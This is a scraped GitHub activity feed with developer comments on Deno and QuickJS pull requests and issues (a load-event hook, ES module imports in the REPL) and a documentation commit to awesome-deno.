 fn run_script(flags: DenoFlags, argv: Vec<String>) {     worker       .execute_mod_async(&main_module, false)       .and_then(move |()| {+        js_check(worker.execute("denoMain.triggerLoadEvent()"));

I feel we might want to give it a more general name (I am thinking that we might add more lifecycle hooks at some point)

kt3k

comment created time in a month

pull request commenthorhof/quickjs

[WIP] rough outline for net functions

I don't think this is an official repo by Bellard. Maybe you (or we, I am also a bit interested in the project) should email him and see if it is possible that it could be hosted on Github (of which I doubt he would ever do that) or at least provide an open channel for sending patches?

Also the original source code does not seems to be even using Git.

brandonros

comment created time in a month

issue commentdenoland/deno

Can't Import Ecmascript Modules via REPL

I think currently if we really want to do this, there are only 2 solutions:

  1. Fake one: parse import statements and convert to dynamic import secretly. Also requires top level await support.
  2. Concatenate past commands and join them into a script and eval from beginning every single time. I remember this is similar to what ts-node is doing with their REPL. I believe neither of these solutions are perfect, and should not be prioritized due to other more important work to complete
Lonniebiz

comment created time in a month

issue commentdenoland/deno

Can't Import Ecmascript Modules via REPL

Dup of #1285. This is expected. ES Module is slightly different from require as resolution is asynchronous, and could only exist in module level (e.g. in an independent file). Also see https://medium.com/the-node-js-collection/an-update-on-es6-modules-in-node-js-42c958b890c

What you want is actually the dynamic import. I think Ryan has a WIP implementation for it, so it should be available soon.

Lonniebiz

comment created time in a month

push eventdenolib/awesome-deno

Jeroen Peeters

commit sha a13373c0002fc355b2c8aaf51d9c01960df67704

docs: add http-libs and type-fest (#70) * docs: add http-libs and type-fest * docs: add trailing dots

view details

push time in 2 months

more